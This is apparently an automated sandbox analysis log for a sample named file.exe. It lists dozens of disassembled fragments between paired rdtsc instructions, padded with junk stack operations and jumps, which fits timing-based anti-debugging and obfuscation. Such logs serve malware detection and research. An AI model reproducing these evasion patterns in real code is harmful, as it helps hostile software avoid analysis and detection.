Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5B3D4 second address: C5B3FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push edi 0x00000006 jmp 00007F5D595292FEh 0x0000000b pop edi 0x0000000c popad 0x0000000d mov eax, dword ptr [eax] 0x0000000f jo 00007F5D59529304h 0x00000015 pushad 0x00000016 jo 00007F5D595292F6h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5B4E8 second address: C5B4EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5B4EC second address: C5B4F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5B4F2 second address: A8FBC5 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F5D59526BB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xor dword ptr [esp], 0A69180Ch 0x00000013 cmc 0x00000014 push dword ptr [ebp+122D06B9h] 0x0000001a stc 0x0000001b jmp 00007F5D59526BBEh 0x00000020 call dword ptr [ebp+122D307Ah] 0x00000026 pushad 0x00000027 jmp 00007F5D59526BC8h 0x0000002c xor eax, eax 0x0000002e add dword ptr [ebp+122D2CE9h], ecx 0x00000034 mov edx, dword ptr [esp+28h] 0x00000038 mov dword ptr [ebp+122D1AB8h], eax 0x0000003e mov dword ptr [ebp+122D376Eh], eax 0x00000044 cmc 0x00000045 mov esi, 0000003Ch 0x0000004a jmp 00007F5D59526BC9h 0x0000004f add esi, dword ptr [esp+24h] 0x00000053 jmp 00007F5D59526BBDh 0x00000058 lodsw 0x0000005a jmp 00007F5D59526BC4h 0x0000005f add eax, dword ptr [esp+24h] 0x00000063 jno 00007F5D59526BC0h 0x00000069 or dword ptr [ebp+122D1AB8h], ebx 0x0000006f mov ebx, dword ptr [esp+24h] 0x00000073 pushad 0x00000074 jl 00007F5D59526BB8h 0x0000007a push esi 0x0000007b pop esi 0x0000007c jnc 00007F5D59526BB7h 0x00000082 popad 0x00000083 cmc 0x00000084 nop 0x00000085 push eax 0x00000086 push edx 0x00000087 jno 00007F5D59526BBCh 0x0000008d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6050D second address: C60513 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C60513 second address: C60526 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007F5D59526BB6h 0x0000000d jne 00007F5D59526BB6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C60526 second address: C60543 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D59529307h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C60543 second address: C6055B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5D59526BC3h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6055B second address: C6056A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F5D595292F6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6056A second address: C6056E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C60B7C second address: C60B99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007F5D59529304h 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C60B99 second address: C60BAD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jc 00007F5D59526BB8h 0x0000000e push esi 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C60D07 second address: C60D10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C60D10 second address: C60D14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C60D14 second address: C60D35 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5D595292F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F5D59529301h 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C60D35 second address: C60D39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C61004 second address: C61026 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5D595292FCh 0x00000009 popad 0x0000000a jmp 00007F5D59529301h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C616C6 second address: C616E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5D59526BC7h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C616E5 second address: C616EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C64EF7 second address: C64F11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F5D59526BC2h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C64F11 second address: C64F1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jp 00007F5D595292F6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3B9A8 second address: C3B9AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3B9AC second address: C3B9B7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3B9B7 second address: C19F65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 jmp 00007F5D59526BC8h 0x0000000b pop eax 0x0000000c popad 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push eax 0x00000011 call 00007F5D59526BB8h 0x00000016 pop eax 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b add dword ptr [esp+04h], 00000019h 0x00000023 inc eax 0x00000024 push eax 0x00000025 ret 0x00000026 pop eax 0x00000027 ret 0x00000028 lea eax, dword ptr [ebp+1247F6D0h] 0x0000002e push 00000000h 0x00000030 push ebx 0x00000031 call 00007F5D59526BB8h 0x00000036 pop ebx 0x00000037 mov dword ptr [esp+04h], ebx 0x0000003b add dword ptr [esp+04h], 00000016h 0x00000043 inc ebx 0x00000044 push ebx 0x00000045 ret 0x00000046 pop ebx 0x00000047 ret 0x00000048 sub edx, dword ptr [ebp+122D3A92h] 0x0000004e push eax 0x0000004f jg 00007F5D59526BC2h 0x00000055 jbe 00007F5D59526BBCh 0x0000005b mov dword ptr [esp], eax 0x0000005e jmp 00007F5D59526BC3h 0x00000063 call dword ptr [ebp+122D2A96h] 0x00000069 push eax 0x0000006a push edx 0x0000006b jmp 00007F5D59526BBCh 0x00000070 push esi 0x00000071 push ecx 0x00000072 pop ecx 0x00000073 jmp 00007F5D59526BBEh 0x00000078 pop esi 0x00000079 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3BE3B second address: C3BE40 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3BEEF second address: C3BEF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3BFBA second address: C3BFC0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3C23A second address: C3C242 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3C2F1 second address: C3C2FB instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F5D595292F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3C2FB second address: C3C301 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3C3ED second address: C3C3FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push edx 0x00000009 pop edx 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3C3FF second address: C3C44B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push esi 0x0000000b call 00007F5D59526BB8h 0x00000010 pop esi 0x00000011 mov dword ptr [esp+04h], esi 0x00000015 add dword ptr [esp+04h], 00000018h 0x0000001d inc esi 0x0000001e push esi 0x0000001f ret 0x00000020 pop esi 0x00000021 ret 0x00000022 mov dword ptr [ebp+122D2111h], esi 0x00000028 push 00000004h 0x0000002a mov dh, C3h 0x0000002c nop 0x0000002d push ebx 0x0000002e push ebx 0x0000002f jp 00007F5D59526BB6h 0x00000035 pop ebx 0x00000036 pop ebx 0x00000037 push eax 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007F5D59526BBCh 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3C781 second address: C3C807 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F5D595292F6h 0x0000000a popad 0x0000000b pop ebx 0x0000000c nop 0x0000000d jmp 00007F5D59529300h 0x00000012 jmp 00007F5D59529301h 0x00000017 push 0000001Eh 0x00000019 push 00000000h 0x0000001b push ecx 0x0000001c call 00007F5D595292F8h 0x00000021 pop ecx 0x00000022 mov dword ptr [esp+04h], ecx 0x00000026 add dword ptr [esp+04h], 0000001Dh 0x0000002e inc ecx 0x0000002f push ecx 0x00000030 ret 0x00000031 pop ecx 0x00000032 ret 0x00000033 mov edi, dword ptr [ebp+122D2B63h] 0x00000039 call 00007F5D59529307h 0x0000003e js 00007F5D595292F8h 0x00000044 mov edi, edx 0x00000046 pop edi 0x00000047 push eax 0x00000048 push eax 0x00000049 push edx 0x0000004a push eax 0x0000004b push edx 0x0000004c jbe 00007F5D595292F6h 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3C807 second address: C3C80D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3CA82 second address: C3CAA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 jmp 00007F5D595292FBh 0x0000000e mov eax, dword ptr [eax] 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 pop eax 0x00000015 jg 00007F5D595292F6h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3CAA4 second address: C3CAAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3CAAA second address: C3CAAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3CAAE second address: C3CAC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push edi 0x0000000d jc 00007F5D59526BBCh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3CB83 second address: C3CB87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3CB87 second address: C3CB91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3CB91 second address: C3CBC9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F5D59529305h 0x0000000d nop 0x0000000e or dword ptr [ebp+122D2CE9h], eax 0x00000014 lea eax, dword ptr [ebp+1247F6D0h] 0x0000001a adc dh, FFFFFF94h 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 jnc 00007F5D595292F8h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3CBC9 second address: C1AB21 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D59526BC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c or dl, 00000056h 0x0000000f call dword ptr [ebp+122D35BDh] 0x00000015 pushad 0x00000016 jmp 00007F5D59526BC9h 0x0000001b push eax 0x0000001c jmp 00007F5D59526BC7h 0x00000021 pop eax 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1AB21 second address: C1AB27 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C68A3D second address: C68A62 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D59526BC0h 0x00000007 jmp 00007F5D59526BBAh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop edi 0x0000000f pushad 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C69179 second address: C6917E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6917E second address: C69183 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6D5C8 second address: C6D5DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D595292FDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6D5DD second address: C6D5E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F5D59526BB6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6D5E9 second address: C6D608 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5D59529306h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6D608 second address: C6D618 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5D59526BBCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6D618 second address: C6D622 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6D622 second address: C6D626 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6D626 second address: C6D62A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C722D7 second address: C722DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7270B second address: C7270F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7270F second address: C72719 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F5D59526BB6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C71EA6 second address: C71EAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C71EAC second address: C71EB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C71EB3 second address: C71EB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C71EB9 second address: C71EC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F5D59526BB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C71EC3 second address: C71EC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C72CBD second address: C72CC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C72CC1 second address: C72CDB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D59529301h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C72CDB second address: C72CE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F5D59526BB6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C72CE6 second address: C72CEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C79DDD second address: C79DF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5D59526BC3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C789B8 second address: C789E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007F5D59529306h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push eax 0x0000000f jbe 00007F5D595292F6h 0x00000015 push esi 0x00000016 pop esi 0x00000017 pop eax 0x00000018 push ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C789E4 second address: C78A06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F5D59526BC9h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C78F64 second address: C78F6E instructions: 0x00000000 rdtsc 0x00000002 js 00007F5D59529302h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C78F6E second address: C78F83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F5D59526BB6h 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jnp 00007F5D59526BB6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C797C8 second address: C797D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F5D595292F6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C797D4 second address: C797D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C797D9 second address: C797F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5D59529309h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C797F6 second address: C797FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C797FF second address: C7980D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7980D second address: C7981F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 jmp 00007F5D59526BBBh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7CDD6 second address: C7CDE9 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5D595292FCh 0x00000008 push ecx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7CDE9 second address: C7CE0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ebx 0x00000008 pushad 0x00000009 jmp 00007F5D59526BC7h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7CE0B second address: C7CE11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7CF77 second address: C7CF9F instructions: 0x00000000 rdtsc 0x00000002 jno 00007F5D59526BB6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jng 00007F5D59526BC2h 0x00000012 popad 0x00000013 push ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 jno 00007F5D59526BB6h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7CF9F second address: C7CFA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7D0BE second address: C7D0E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 jmp 00007F5D59526BC9h 0x0000000d push esi 0x0000000e pop esi 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7D0E2 second address: C7D0F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5D59529300h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7D0F6 second address: C7D148 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D59526BC7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c je 00007F5D59526BC2h 0x00000012 jns 00007F5D59526BB6h 0x00000018 js 00007F5D59526BB6h 0x0000001e push esi 0x0000001f pushad 0x00000020 popad 0x00000021 push eax 0x00000022 pop eax 0x00000023 pop esi 0x00000024 js 00007F5D59526BC8h 0x0000002a jmp 00007F5D59526BC2h 0x0000002f push eax 0x00000030 push edx 0x00000031 push ecx 0x00000032 pop ecx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEB6D9 second address: BEB6DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEB6DE second address: BEB6EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 js 00007F5D59526BB6h 0x0000000c rdtsc
